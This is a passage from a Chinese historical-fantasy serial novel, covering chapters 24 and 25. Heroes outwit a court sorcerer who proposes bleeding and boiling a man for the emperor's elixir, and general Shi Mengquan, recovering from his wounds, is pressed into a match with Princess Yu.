管不着先是一愕,既而也明白了大嘴四“以子之矛攻子之盾”的计策,跟着大笑道:“果真,我无意中喝了仙酒,这下成了金刚不坏之身,犯了死罪都不怕。来来来,道长你就拉我去砍头吧,正好试试你的仙酒灵不灵验——” 胡喆知道上了当,双眉倒竖,持桃木剑的手直发抖。 程亦风在一边忍不住想笑:也亏得这些江湖豪杰,这次可真把胡喆制住了——若他把管不着拉去砍头,一旦杀死,就是他的酒不灵验,也是欺君之罪,若他不拉管不着,且不知眼前的这个台阶要怎么下! 胡喆的脸一阵青一阵白,半晌,忽然阴森森地咆哮道:“不用砍头,贫道想出别的办法来了——放他的血给皇上喝,反正药性都在血中,皇上喝了一样能长生不老!” 谁料他片刻之间又生一条毒计?大嘴四怔了怔,没接上话。 辣仙姑轻轻一笑走上前来:“道长有礼了,小妇人对药性十分痴迷。道长似乎是此中高手,小妇人请道长指点迷津。” 胡喆见她丰韵独特,便多看了两眼。 辣仙姑道:“我听说嫦娥只吃了一粒仙丹就飞上了月宫。不知道长的仙酒和嫦娥的仙丹比起来,哪一个药性更厉害?” 胡喆道:“嫦娥仙丹乃是天庭之物。贫道不是仙人。当然是嫦娥的仙丹更高一筹。夫人应该知道嫦娥的仙丹若吃整粒就要升仙,若吃半粒就可长生。贫道的一葫芦仙酒大概就相当于嫦娥的半粒仙丹。” 辣仙姑扮着手指,似乎是在计算,喃喃道:“我二哥喝了道长一葫芦仙酒,那是相当于吃了嫦娥的半颗仙丹,于是就可长生不死。道长今要拉了我二哥去放血给皇上喝,不知要放多少,才能把那一葫芦酒的药都追回来?” 胡喆阴笑:“自然是要把全身的血都放干净了才行。” 辣仙姑继续扳手指:“照说人身上的血是有限的,要把血全放干净了,人也就死了。我二哥如今喝了道长的酒,是不会死的,所以血是放不干净的,哎呀……越想越乱了……莫非除了血之外二哥的五脏六腑皮肤毛发中都有长生不死药?” 胡喆不知这女子其实是下了套子给自己钻,道:“果然如此。夫人说的有理。那么除了将他放血之外,贫道还要备一口大锅,将他熬煮三天三夜,让皮肤毛发中的药性融入汤中。” 竣熙觉得这妖道简直残忍放肆到了极点,忍无可忍,走上前来道:“胡喆,东宫之中,这些都是我的客人,怎容你如此放肆?” 胡喆连东宫的大宫女也害死了,根本就不曾将太子放在眼里,爱理不理,道:“贫道专为皇上效力,不知何为放肆。” “你——”竣熙当真要发作了。 辣仙姑又皱着眉头插了进来:“道长,小妇人还是不明白。若我二哥已经是不死之身,放在锅里煮也煮不死他,既然他不死,那药就还在他身上,若他死了,这药又不灵了……道长,这究竟是怎么个解释?” 胡喆才发觉她是引着自己钻回先前那自相矛盾的牛角尖里去了,恶狠狠地不耐烦道:“总是有那么一些药性残留在他身上的。” “啊,正是了!”辣仙姑打断,“这就好像小妇人平日在家洗醋坛子,无论洗多少回,醋坛子总还是有醋味。小妇人只能无限地把醋味变淡,却无法将醋味消除。” “一尺之棰日取其半而万世不竭。”程亦风忍不住吊一句书袋。 胡喆道:“那便如何?” 辣仙姑嘻嘻一笑:“道长可以放干我二哥的血,再把他放进锅里天天煮汤给万岁爷喝——不过因为二哥是不死身,您这不就等于天天叫万岁爷喝二哥的洗澡水么?这且不说,只是因为您永远也不能把二哥身上的仙药给榨干了,所以万岁爷能从二哥身上得到的药也就永远不够长生不死之用——道长,依小妇人的愚见,你还是另炼一葫芦仙酒来得快。” 胡喆气得直打颤,晓得再这样斗嘴下去,他根本占不了上风,但是他堂堂三清天师,怎能这样就认输了?正没摆布,外头一个太监叫道:“胡天师!胡天师!皇上打坐遇到难题了,传您去哪!” 还有比这更好的台阶?胡喆瞪了杀鹿帮众人一眼:“改日再同你们计较!”又朝竣熙随便行了个礼,便带着手下狼狈而去。 崔抱月恨恨地冲着胡喆的背影啐了一口:“什么东西!竟然如此嚣张?” 竣熙垂下了眼:“是我年少无能,不能劝谏父王,也不能除去他身边的奸小……” “这怎么是殿下您的罪过?”崔抱月道,“朝廷里那么多官员就这样坐视不理吗?就没有一个人向万岁进谏么?文官都写诗去了么?武官都打猎去了么?冷将军,鲁将军,向将军,董将军,你们谁跟我说说这是什么乱七八糟的事?虽然我只是一介民女,但是……怎么我们民兵和司马将军的部队还有杀鹿帮的好汉们同在大青河和玉旒云做殊死之争,这阴阳怪气的牛鼻子却把朝廷搞得乌烟瘴气?” 崔抱月算是冷千山等人发掘提拔出来的,如今她言语之中竟然有偏向司马非的意思,几人怎不着急。鲁崇明道:“崔女侠有所不知,你们在前线奋战,我等在后方日日忙着督促粮饷医药,支援大青河前线。大战结束之后,我等又忙着跟户部打口水官司,让他们多拨些银子抚恤阵亡将士家属,这才刚喘口气呢。定是那些好吃懒做,胆小怕事的文官们不中用。” “也不关那些文臣的事。”竣熙道,“实在是我父王……我父王被这妖道迷惑,什么劝谏都听不进去。便是大青河战役……父王也是听信了妖道无为而治的歪理,才下令不战不和……” 元酆帝的这条命令直接发出,素来没有交代过是何理由,冷千山等身在京城也不知道是这般原委,不由一愣。崔抱月和杀鹿帮诸人在边关则终日为这古怪的圣旨而郁闷,如今听到这种解释,立时又惊又怒。邱震霆拍案道:“原来是个昏君!枉我们为他出生入死!弟兄们,咱这就反回鹿鸣山当我们的山贼去,以后朝廷粮食银子经过,由咱们来分给老百姓,省得这昏君拿来养妖道!” 这是大逆不道的话,程亦风连忙要劝阻邱震霆,那边崔抱月也狠狠地将自己的矮几掀翻:“既然劝谏没有用,就让我来做死士,斩杀妖道。到时候皇上怪罪起来,就只怪罪我一个。以我的一条命,换那妖道的一条命,换皇上的清醒,也值得了。 “何必要搭上命?”邱震霆道,“这老妖怪不值得谁给他赔命。崔姑娘,俺的弟兄愿跟你一起砍了这妖道。要是皇帝怪罪下来,你就跟俺们反上鹿鸣山去,做强盗不见的比不上做这劳什子的‘陈国夫人’。” 崔抱月笑了笑:“多谢邱大侠好意。我虽是女流,但生是为朝廷效力的人,死也是死在为朝廷效力上。” “做强盗就不能效力了么?”邱震霆道,“他奶奶的,俺们弟兄在大青河也不是没流血!俺们是跟着程大人打樾寇,保护老百姓,可不是保护那妖道!” 他们这样的争论一字一句敲打在程亦风的心里:这不正是当日自己和公孙天成之间的争论么?他看了一眼从头至尾几乎一言未发的公孙天成:老先生说过,他最后的任务就是要除掉胡喆这个妖道,促成大青河和谈,不知他有什么计策呢? 东宫中正式一派激愤的时候,听外面有太监来报:“副将易水寒求见太子殿下。” “啊!易壮士来了!”竣熙很需要打个岔儿把大家的注意从刺杀以及造反的话题上引开。易水寒来得正好。他立刻叫太监把这位鹰眼崖的英雄请进来。不过太监还没动,冷千山已经大步迎了上去,生怕自己和易水寒显得不够亲密似的,一件易水寒进来,连行礼的机会也不给人家,立刻就扶住了他的胳膊:“易老弟,怎么才来!这边酒都喝了快一半了呢!” 易水寒一个月之前还只是一个小小的百夫长,今日能够成为东宫座上宾已经受宠若惊,拘谨非常,又见冷千山热情若斯,一时都不知道要怎样应对才好,愣了愣,才道:“卑职本来也不是为了饮酒才来就见太子的……” “不过太子殿下怜才,请你来是喝酒的。”冷千山保持着那种过分的热情,“你看,今日宴请的都是大青河的英雄!” “卑职不敢妄称英雄。”易水寒道,“况且大青河如今……” 如今这样的情形也算不得胜利!程亦风自己也觉得窝火。崔抱月和杀鹿帮的那些热血儿女就更加忍不下去了。他们早也听说了易水寒的事迹,都围了上去。 邱震霆道:“易兄,谁说你不是英雄了?凡是杀樾寇的,都是英雄。凡是阴阳怪气装神弄鬼的——还有看着妖怪在自己跟前晃却屁都不敢放的——都他妈是狗熊!老子现在就想杀狗熊,剥了熊皮当铺盖,剜了熊胆泡酒!奶奶的!” 崔抱月则道:“冷将军、向将军、董将军、鲁将军,不如我们和易副将一起联合朝中的有识之士一同上疏皇上。就不信文武百官一同劝谏,皇上能置之不理的!” 冷千山等人如何肯接这个烫手山芋,都支支吾吾。 竣熙叹了口气:“今日原是为诸位英雄庆功,还是不要提这些扫兴的事了。不如日后好生商量,从长计议……” “殿下!”邱震霆道,“程大人叫俺们兄弟来见你的时候,说什么‘当今太子少年聪慧,敏而好学,敦厚仁恕,将来必然成为一代明主’。俺们是这样听了,才进宫来见你的。现在看你,怎么也畏首畏尾的?” “大胆!”冷千山喝到,“你一介草民,怎么敢论断太子?” “俺不仅是草民,俺还是强盗!”邱震霆道,“俺连你这朝廷命官也敢绑架,还怕论断太子?况且俺说的句句都是实话——太子殿下,你如果喜欢听这些哈巴狗儿唱些好听的给你听,恕俺邱震霆失陪了!不过,俺走之前不能不说——如果不把那牛鼻子除掉,任他继续胡作非为,樾寇那边迟早会有发现这是一个侵略我国的大好时机,到时候……”他不想再说下去,也许是自己也拿不准值不值得为这样的朝廷流血牺牲,即愤愤地抱了抱拳,要招呼弟兄们离去。 竣熙如何不知厉害?刘子飞和吕异蠢蠢欲动,到底是为了什么?胡喆的存在就好像他在斗法大会上展示的“神水”一样,正迅速侵蚀着大楚王朝。 “殿下!”易水寒脱离了冷千山一党的包围,“卑职有要事,特来向殿下和程大人禀报——据探子消息,玉旈云已经被招回西京去了。” “什么?”众人都是一惊。 易水寒道:“卑职赶来西京,述职倒是其次,主要就是奉了司马将军的命令来报告这个消息——玉旈云接到樾国皇帝圣旨,叫她不带一兵一卒,立刻回京。” “那么刘子飞和吕异呢?”公孙天成终于开了口。 “据说,刘子飞和吕异奉命接手玉旈云的人马。”易水寒道,“他们已经在前往瑞津的途中——不过,据探子回报,他们不仅要接手,还打算收编玉旈云的部下。好像樾国皇帝有心削了玉旈云的兵权。而刘子飞和吕异两个,都是志在灭亡郑国的。” 这么说楚国暂时安全了?大家互相望望——至少玉旈云是有麻烦了! 25. 第 25 章 石梦泉迷迷糊糊的,觉得长久以来自己实在是太累了,真想就这样睡下去,不再醒来。可是朦胧中,仿佛有谁有把手压在他的胸前,大声地说道:“石梦泉你听着,我不许你死!这是命令!我不许你比我先死!要是你敢丢下我一个人自己先死了,就是到阴曹地府,到下辈子,我也不会原谅你的!听见没有?我不许你死!” 他知道这说话的人是玉旒云,只有玉旒云才有这种命令别人不许死的霸气,阎王到了她面前也要靠边站。 他觉得一种暖意,一股力量从玉旒云的手上传到了自己的心里。 我不能死!我不能丢下她一个人死! 他攥紧了拳头,使出浑身的力气——他要醒过来。 然而睁开眼睛的时候只看到一个两眼哭得桃子一般的愉郡主。 “哇——”这姑娘嘴一撇,又哭出了声,“你吓死我了!吓死我了!” 石梦泉愣愣的:莫非是做梦了?胸口还留着那份温暖:“这是……” 娇荇打外面进来了,托盘上热气腾腾,立刻有满室的甜香:“哎呀,石将军可终于醒了。你要是再睡下去,我们郡主眼睛就哭瞎了。”她走到了床边,端着碗血糯银耳粥,愉郡主就上来抢勺子要喂。娇荇笑了笑,由着主子,自己就拿靠垫帮石梦泉坐起来:“不过石将军这一病,我们郡主可什么都学会了——打手巾把子,煎药,喂粥……呵,王妃原来拿藤条打她学沏茶,她都不肯哩!” 愉郡主挂着眼泪笑起来,任由奴婢打趣自己,只把那血糯粥舀了一勺,仔细地吹了半天,才送到石梦泉的口边,娇羞地眼神也跟着递了过去。石梦泉疑心自己还在梦里,看由她看,喂由她喂。大半碗粥落了肚,身体渐渐恢复了力气,才发现手里一直握着件东西,拿出来看看,不过是豆粒大小的一枚玉珠罢了。不过,那隐隐透着明黄色的白玉,正是玉旒云用来传递军令的信物。 记忆的碎片串起来了——远平失守,鹰眼崖的血战,然后骁骑营来了……“玉将军呢?”大青河的急流里,是怎么逃生的? 愉郡主撇了撇嘴:“她差点害死你,提她干什么?” 石梦泉翻身就要下床。愉郡主连忙按住:“好嘛好嘛,告诉你就是了。玉旒云被万岁爷招回西京去了。” “什么时候的事?”石梦泉问。 “有……有好几天了吧……”愉郡主扳着手指,“咱们来了有两天了,之前在路上花了两天……” “有七天了。”娇荇替她算出来,“消息传到青窑用了两天时间,咱们在青窑耽搁了一天,赶过来又是两天,就……” “都是玉旒云这霸道的家伙!”愉郡主打断,“她算什么呀?竟然把本郡主囚禁在青窑那烂地方!又湿又冷,人也没礼貌。全都没大没小的——究竟是我这个郡主大,还是玉旒云大?要不是她被皇上招回去了,我还不晓得什么时候才能脱身,才能……“ 她本想说“才能赶来相见”之类的话,不过猛然想起自己是姑娘家,应该矜持,就刹住了口。而石梦泉根本可没心思听她絮叨,直接问道:“皇上招将军回去,是为了……”大青河之战失利,不会是要降罪吧? 愉郡主“哼”了一声:“肯定没她的好果子吃啦。叫她一兵一卒也不要带,快马加鞭赶回去。我看呢,如果又是封又是赏的,青窑那边的人肯定还牢牢地把本郡主看着,准备讨好她。现在青窑的人哈巴狗儿似的陪笑脸把本郡主放了,肯定玉旒云这次要倒霉。我看……” 话还没说完,石梦泉一掀被子,就跳下床来。愉郡主不防备,手里的碗被打翻了,不禁“哎呀”叫了一声:“你……你干什么?” 石梦泉久病新愈,身体依然虚弱,只不过跨了两步,就失去了平衡。娇荇眼看着他要撞到灯台上了,连忙抢上来搀扶,结果两人一齐摔倒在地。娇荇自己额头撞了桌子,“哎哟”直喊疼。 石梦泉还挣扎着要起身。愉郡主跺着脚道:“你傻了呀?她回去没好果子吃,你还要追去陪她么?早知道就不告诉你了——她就是你的主帅而已,又不是什么人,犯得着你水里火里跟着去送死么……” “你住口!”石梦泉怒喝——什么叫“又不是什么人”?也许在她心里,他不过是一个部下,而在他的心里,她就是一切。没有她,一切都是枉然。 愉郡主眼中,石梦泉是个大度随和的人,虽然在战场上果断骁勇,但对身边的人一般不会大呼小叫——自这个人在她心中甜蜜地扎下了根,当初在安平城里威胁她说出私粮之事时那小小的冒犯,她也早就抛到了九霄云外。如今自己历经千难万险,只为了照顾他,却被这么一吼,立刻就呆了,跟着泪水滚滚而下:“我……我又没说错……又没说错……” 石梦泉是因为一时急晕了头,爆发之后就后悔了——对这个小郡主发火能有什么用?他叹了口气,道:“下官无状,请郡主恕罪。”扶着桌子强自站起身来,踉踉跄跄要朝外走。 愉郡主得了道歉,非但不受用,反而哭得更凶了,扑上去拉住石梦泉的袖子道:“我不恕你的罪,就不恕你的罪!你不许走。你要是走了,就是追着玉旒云去送死。我就要怪罪你!就把你关在这里!不许走!” 石梦泉满心都是焦虑,哪有功夫跟她纠缠。而这姑娘撒起赖来,硬是死拖着不放,他也全无办法。正没摆布,却见门外跨进一个眉心有朱砂印记的青年来,正是石梦泉的主治大夫林枢了。 石梦泉多日来缠绵病榻,对他的模样只朦胧地有这么一个印象,不过这杏仁大小的朱砂胎记却记得清楚。每当自己苦痛难忍的时候,只要这个大夫往床边一坐,稍稍施以针石,就又能安稳地睡过去。该算得自己的救命恩人吧,石梦泉因要行礼拜见。 不料,林枢阴沉着脸,冷冰冰地道:“谁让你下床来的?”石梦泉一愕,还不及解释,这大夫又道:“既然病人自己不想好,我再治下去也没什么意思,就此告辞了吧。”竟转身便走。 “林大夫!”愉郡主连忙追了上去,一壁又叫娇荇把石梦泉往床上扶。“大夫,千万别走。治好了他,我叫父王重重赏你。” 林枢冷冷的:“治不治是我的事,好不好就不是我的事了。” 愉郡主赶紧点头:“晓得晓得,本郡主会好好看着他,一步也不让他下床来。大夫你一定要好好治他。” 林枢斜睨了她一眼,丝毫也没有把这个金枝玉叶放在眼中:“好。我治他。不过第一条,请郡主和你的丫鬟立刻出去。”愉郡主一讶,林枢又接着道:“你们在病人房中又哭又闹大声喧哗,如果这病人有什么三长两短,我林某人自然性命不保,估计你们二位也免不了麻烦。” 愉郡主担心石梦泉的安危胜过其他,虽然撅着嘴,还是和娇荇一起恋恋不舍地离开了。林枢走到石梦泉的身边,搭上他的腕子——石梦泉第一次清醒地感觉这人的手,虽然很稳定,但是也像他的表情一样冰凉。 “大夫……” 才说了两个字,就被林枢打断了:“加深呼吸,鼻吸口出,胸中可有浊闷之感?” 石梦泉何有心思体味这个?随便吸了一口气,道:“我已全好了,大夫。我急着要回京去,若有什么调养身子缓解疲劳的药,烦你抓几副——若有药丸让我带上路就更好了。” “何必那么麻烦?”林枢毫无表情,“你只带一副棺材就是。走之前还请砍下我林某人的脑袋,反正你进了棺材,玉将军也不会留下我林某人的性命。” 玉旒云现在有了麻烦,他必须要回去!石梦泉不知怎么跟这郎中解释:假如玉旒云有什么短长,才没人会来取林枢的脑袋呢! 林枢坐到桌边去,在一本小册子上记录脉案,边写,边淡淡地说道:“也不知你们这些行军打仗的人都是怎样算帐的,有些事情分明做多大牺牲也使不上力,却偏偏还要去做那些牺牲——玉将军要真被皇上怪罪,你能怎样?无非搭上自己的命,还牵连上我林某人而已。” 你不懂,石梦泉想解释,不过觉得解释不清楚,也实在不足以为外人道。 林枢话锋却忽然一转:“何况,皇上怎么会为难玉将军呢?” 石梦泉愕了愕,这是他所希望,不过林枢怎说得如此笃定? 林枢头也不抬,仿佛没有比那脉案更重要的东西,但口里接着道:“我看玉将军身上有种戾气和煞气,这两者一个坚不可摧,一个锐不可挡,只有玉将军去伤别人,别人还伤不了她。” 这是什么歪理?石梦泉猜想,玉旒云定是得罪了此郎中,所以他说起风凉话来了。“我自觉已没什么大碍。大夫不必替我操心。待回了京城,我自然向玉将军说明一切,必不连累大夫。” 林枢仿佛没听见,理也不理。 石梦泉也不计较,只盘算自己若立刻起程何日能赶回西京,且想到他自己病了多时,玉旒云又被召回京,不知军心如何,假若他也走了,出了乱子罗满等人可不一定能压得住,这就要给玉旒云忙里添乱了。一切还是早做打算,善为交代为好。因道:“大夫,我的副将罗满,不知他现在何处,你能帮我请他来么?” 林枢这才抬头瞥了他一眼,似笑非笑,道:“将军连去叫一个副将的力气都没有,还想赶回西京么?” 石梦泉何尝不知道此行十分勉强,不过回想起梦境中朦朦胧胧听到玉旒云命令他的话——不许丢下她一个人,不许死——他就坚信,哪怕是到了鬼门关,他也能回头,也能回去找她。精神不由为之一振,便自己起身欲寻罗满。 这时,林枢却走到了他的跟前,笑道:“石将军还真执着,让我这个大夫好生为难。” 他伸出了手来,石梦泉以为是要扶自己一把,不想,林枢以迅雷不及掩耳之势在他胸前一戳,他便动弹不得了。 “大夫……” “我不管你有什么天大的事情。”林枢道,“我是大夫,我只晓得接了一个病人就要把他治好。否则就对不起我们百草门的招牌。” “可是……”向来“秀才遇到兵,有理讲不清”,未料今天却反了过来,任石梦泉焦急万分,林枢却头也不回地走出了房去。 这以后有好几天,林枢不是点穴就是施针,把石梦泉弄得除了服服帖帖躺着养病,什么也不能做。最绝的是,这大夫竟还晓得利用愉郡主那点少女心思,让她和娇荇在旁照料,并充当自己的“眼线”,只要石梦泉稍稍有恢复行动的迹象,两个姑娘立刻会飞跑报信,林枢就再来戳上一指或扎上一针——就这样吃了睡睡了吃,石梦泉虽然能感到自己的身体正渐渐恢复,但心中的焦虑却煎熬愈甚,只恨不能元神离体,飞回西京去看个究竟。 时间已经是四月了,大青河的北岸也春意盎然,推开窗户看到满树繁花,燕子归来,在檐下啁啾不已。愉郡主嘬着嘴逗鸟儿,一边正做针线的娇荇见了,就笑道:“郡主,奴婢想起一首歌来,唱给你和石将军解闷吧。” 愉郡主“恩”了一声,表示答应,她心情正好。石梦泉则是忧虑烦闷,没心思理会。娇荇只当他也默许了,就细声唱道:“爱风流俊雅,看笔下,扫云烟。正困倚书窗,慵拈针线,懒咏诗篇。红叶未知谁寄,慢踌躇、无语小窗前。燕子知人有意,双双飞度花边……” 愉郡主并不是喜爱歌舞的姑娘,石梦泉也不好诗文,但听到这句“燕子知人有意,双双飞度花边”,傻瓜也知道是在打趣他们了。愉郡主脸一红,扑上去住住娇荇:“死蹄子,看我撕烂了你的嘴!”嚷是这样嚷,实际却偷眼看石梦泉的反应。后者把头转向墙里,哪里有心情烦恼这个。 不过,那“燕子知人有意”猛地又在他心头闪了一下:这愉郡主对我……林大夫能利用这点,叫她看住我,我为什么不能叫她帮着寻罗满前来商议? 念头才起,他即暗骂自己卑鄙:人家天真无邪的一个少女,对你照顾有加,你怎能做出此等事来? 可是,不如此,要耽搁到何时才能回西京? 两个主意斗争来斗争去,终于还是玉旒云的安危占了上风。便道:“郡主千岁,能不能劳您替下官把罗满罗副将请来?” 娇荇平常要对主人察言观色,揣测人心的本领非同一般,立刻就猜到石梦泉有什么打算了。可是,愉郡主听到石梦泉跟自己说话,求自己办事,喜得连姓什么都忘了,怔了大半晌,即连声答应,支使娇荇:“还不去?” 娇荇直叹气,少不得上主子耳边道:“我的好祖宗,你糊涂了么?你给他叫了罗副将来,他跑了怎么办?” 愉郡主眨了眨眼睛:“他……为什么要……”说了几个字,反应了过来,瞪着石梦泉:“那个谁,你敢耍本郡主?” 石梦泉连忙否认:“大军驻扎在此,玉将军不在,下官就是最高统帅。也不知玉将军此去西京究竟要多少时日,微臣还是尽早整顿军务,作好长期驻军的打算。” 听到“长期驻军”愉郡主立刻乐了,心想,要是永远不走,那才好!忙不迭地推娇荇出门,就看着石梦泉傻笑。 石梦泉自觉欺骗利用了这个姑娘,心中愧疚,只得假装闭目养神不看她。愉郡主就在房里走来走去,低声喃喃自语道:“要是长住,还得布置布置呢……”一时碰碰花瓶,一时拽拽窗帘,自得其乐。 才过没多久,娇荇回来了,一头撞进门里,气喘吁吁,直嚷嚷道:“不好了,不好了!” 愉郡主和石梦泉都是一惊:“怎么?” “王爷的人来了!”娇荇一下坐倒,“这下我可没命了!” 石梦泉一早被林枢下了针,本来一直动弹不得,这时似乎效力过了,他“呼”地起了身:“什么?赵王爷的人来了?” 愉郡主也是下巴掉在了胸口上:“父王……父王知道我在瑞津?” 娇荇上气不接下气:“那可不是……要不然怎么会特地派小王爷来找你呀……我的好祖宗,这下我的脑袋可保不住了!” “是哥哥!”愉郡主这回下巴再也合不上了,满脸就写着一句话:死定了! 正这时候,听到外面一人道:“小愉,是你在里面么?不要躲了!娇荇那丫头见了我像见了鬼似的,我知道你在里面!”说时,就走进一个青年来,锦冠紫袍,虽然个子不高,又和愉郡主一样生了一张圆脸,可一双虎目不怒自威,果然是有“小王爷”的架势。 石梦泉晓得,这必然就是赵王的儿子“永泽公”悦敏了。他一直随着父亲在北疆和蛮族作战,在贵胄子弟中算有战功赫赫的。实际上,在庆澜元年,玉旒云以少胜多取得落雁谷的胜利之前,皇室子弟中的第一等少年英雄就是悦敏。小王爷驾到,不得不拜见。他连忙下了床来:“臣,惊雷将军帐下石梦泉参见小王爷。” 悦敏往桌前坐下,也不来扶他,只招了招手,示意他起身说话,道:“你就是石梦泉?我常在北疆过去也没和你还有玉将军打过照面。你们俩在落雁古的一战,我早就听说了,佩服得紧。当时就想请你们来帮父王和我打蛮人——怎样,你愿意不愿意?” 石梦泉一愣,不知他这话是什么意思,不敢贸然回答。 愉郡主在一边战战兢兢地看着哥哥的脸色,不出声。娇荇则是想将功折罪,立刻奉上茶来。悦敏接过,却不喝,瞪了这侍女一眼,道:“好奴才,撺掇着郡主跑到这地方来,你还不知道死字怎么写吧?” 娇荇吓得“扑通”跪下,连连磕头:“小王爷饶命!小王爷饶命!” 愉郡主跟这个丫鬟如姐妹一般,看哥哥发了火,也急忙跟着跪下:“别罚娇荇,是我非要她陪着来的。” 悦敏指着妹妹:“你是泥菩萨过江自身难保,还有闲功夫操心别人?你知不知道父王刚打了一场大胜仗,本来还心情大好,给你带了好些草原的孔雀石回来,哪晓得到了京城,母妃已经病在家中多时了,都是因为不见了你,日日以泪洗面而致。父王看到你留下的那封书信,就差我来寻你,说带你回去,锁在府里永远不准出来。至于这个死丫头,在这里就地乱棍打死!” 娇荇听到“就地乱棍打死”,连哭也不会了,愣愣地跪着。愉郡主则是扑上来紧紧把丫鬟抱住:“我不准,我不准,要打打我,不能打娇荇!要是打她,我就不认你这个大哥了!”眼泪断了线的珠子似的,滚落下来。 悦敏似乎铁石心肠,毫不为之所动,反而向着石梦泉道:“石将军,我从西京赶来,可不曾带得什么人,也没有带着军棍,烦你帮我找两个人来,先把这可恨的奴才打死了。我先行谢过。” 石梦泉初听他要打死娇荇,只道是吓唬人的,未料这时竟真找自己来行刑了。小姑娘家一时贪玩,何至于就真打死呢?他忙道:“永泽公息怒。娇荇姑娘服侍郡主忠心耿耿,郡主既来到臣的军中,她的安危就是臣的责任,如果永泽公觉得郡主受了委屈,那就是臣的过错。请小王爷责罚臣,不要怪罪娇荇姑娘。” 悦敏盯着他,上上下打量,半晌,忽然哈哈大笑起来:“石将军,我们小愉果然没有看错你,你对敌人是毫不留情,在战场上勇猛无敌,不过对身边的人又是关怀备至,下了战场的确是个可以托付终身的好男人。妹妹交给你,我可放心了!” 石梦泉只觉脑袋“嗡”地一下。旁边愉郡主跳了起来:“大哥,你……你胡说八道!我……我可不理你了!” 悦敏依然哈哈而笑:“你这丫头,我要打你的丫鬟,你就不认我,我说要把你嫁给你的心上人,你又不理我。你们小姑娘的心事怎么这么胡七倒八难以猜测?” 愉郡主红着脸,两手在哥哥身上乱捶:“你讨厌!你讨厌!胡说八道什么!我真不理你了。”而悦敏只是笑,由着她打。 娇荇跪在那里呆呆了:敢情是吓唬她的?是开玩笑的?是拿她的事儿来激石梦泉的?这都是什么跟什么呀? 闹了一刻,悦敏道:“石将军,你还跪在那里做什么?小愉,你也是,就顾着瞎闹。我听说石将军这次大青河之战受了重伤,你还不把人家扶回床上去?” 愉郡主连脖子也红了,偷偷瞥了一眼石梦泉,看后者呆若木鸡的样子,心里想道:莫非他也是太吃惊了么?无限甜蜜,实在是想要上去相扶,可又娇羞得紧,硬是站着不动。 悦敏喝了口茶,对娇荇摆摆手:“傻跪着做什么?你主子不好意思去扶人家,你做奴才的也学小姐矜持?将来你主子嫁过去,你还能不陪着?” 娇荇急忙磕头谢不杀之恩,又去扶石梦泉。石梦泉才也从震惊中缓过劲来,道:“永泽公,下官实在……” “还叫什么‘永泽公’这么见外?”悦敏打断,“就要做我妹夫的人了,以后就是我兄弟,你也跟小愉一般,叫我大哥就好。”他呵呵地笑着,继续说道:“其实我跟父王回了京城,母妃好端端地在家里,康健得很,不过就是发了很大的火,说小愉留了封信就追到前线去了,哪有女孩子家追小伙子追成这样的,实在丢王府的人。父王听了,就问追的是谁。母妃一说‘石梦泉’,父王就哈哈大笑,道:‘就是那个在落雁谷跟惊雷大将军一起立了功,一下从副将提升到将军的么?我听说他是惊雷大将军的好副手,为人忠诚又骁勇善战。小愉看上了他,可真是眼光不错。’” 愉郡主羞得捂起了脸。 悦敏接着道:“母妃听了,说:‘我只见过他一次,人是很俊俏。但不管怎么说,要咱们家堂堂一个郡主追他追上前线去,这可不行。’父王就笑得更大声了:‘人也长得漂亮?那可好了,上哪里找这么好的女婿?京城里皇室女子这么多,加上官宦小姐,那可是无千无万,这样好的人物一不小心就被别人抢了去。咱们小愉可是当机立断,敢作敢为,这才叫虎父无犬女呐!’” “大哥!”愉郡主一跺脚,拧身跑出房去了。 悦敏指着她的背影,笑道:“这丫头,敢做又不敢承认。唉,石兄弟,反正我父王听到妹妹追你上了前线,只有欢喜,一点儿也不恼火。他此番叫我前来,自然是要把妹妹带回去。他老人家也很想将见未来的女婿,所以也想请石兄弟你跟我们一起回西京。” 回西京。石梦泉自然是很不得插上翅膀,飞到西京去。不过,被这样乱点鸳鸯谱——悦敏连称呼都改了,他可得解释清楚才行。 “臣承蒙王爷和郡主的错爱,这……实在不敢高攀。” “什么话!”悦敏道,“你堂堂一品武将,还妄自菲薄?再说了,我们大樾王朝本是豪放之人,不要学楚人那些扭扭捏捏的规矩。他们就是规矩太多了,才落到今天这个地步。高攀不高攀的,只要我们赵王府说配得上,那就是配得上了,除非是石兄弟你觉得是咱们小愉高攀不上你。” “不,不,不……”石梦泉连忙否认,“郡主……” “那不就结了?”悦敏两手一滩,走到石梦泉的床边,拍拍他的肩膀道,“好兄弟,我早听说你的枪法很厉害。我原也是使枪的,心想要是咱俩比较起来,输给了你岂不是很没面子?不过,你做了我妹夫,做了我兄弟,那不管谁技高一筹,都是赵王府的面子。哈哈!” 石梦泉暗暗叫苦:这可不是越描越黑了么? 正此时,林枢从外面进来了,满面寒霜:“怎么回事?谁让你进这间房的?” 悦敏自然不认识他,又几时见人跟堂堂赵王府的小王爷如此说话,眉毛一挑道:“怎么,我乃永泽公靖远将军悦敏,出入皇宫也不需要通报,偏偏这里来不得么?你是什么人?” 林枢不卑不亢:“皇宫是皇宫,病房是病房。皇宫里是皇帝做主,病房里就是我这个大夫做主。我要把脉施针了,请你出去。” 要是再被他扎上一针,岂不又有半天不能动弹?石梦泉忙道:“林大夫,永泽公跟我有重要军情商议,迟一些再把脉也可。至于针灸,我看我已全好了,不须再施针了。” 林枢毫无表情:“好没好不是将军说了算,要看我这大夫怎么诊断。玉将军只让我治好你,没让我准许你商议军情。” “混帐!”悦敏骂道,“你算是个什么东西?玉旒云怎么找上你这个木脑瓜子?一点儿也不晓得变通?你知道惊雷将军她现在在西京是什么个状况?你以为她现在还会给你下同样的命令么?” 林枢没有回答,石梦泉大惊道:“玉将军在西京怎么了?” 悦敏看他这样大的反应,怔了怔,才道:“我启程离京的时候,皇上八百里加急的旨意也刚好发出。我的行程比较慢,在途中并没有遇上玉将军。不过……皇上的旨意,照我猜想,恐怕不是什么好消息。” 果然!果然!石梦泉的心里又煎熬了起来。 悦敏道:“你们大青河一战失利的消息传回京里,文武百官一条声指责主帅指挥不当,造成士卒伤亡,粮草浪费,更有损我朝威严。他们可全然是要把玉将军军法处治的架势啊……不过,我想皇上也不至于这么糊涂,看不出他们是为嫉贤妒能……” 但是皇上却叫玉旒云不带一兵一卒孤身回西京去,这不是要处罚,又是什么?去年攻打梁城,赵临川不服玉旒云的战术,上庆澜帝跟前参了一本,致使庆澜帝连发三道圣旨将玉旒云招回问罪降职。即便是那次,也允许玉旒云带了石梦泉和亲随的小队一起上路,这一次……他是非赶回西京不可的。 正想着的时候,突然听到外面罗满的声音:“少拉着我!我要见石将军!”话音落时,已闯了进来:“将军,你好些了么?外面出大事了!” 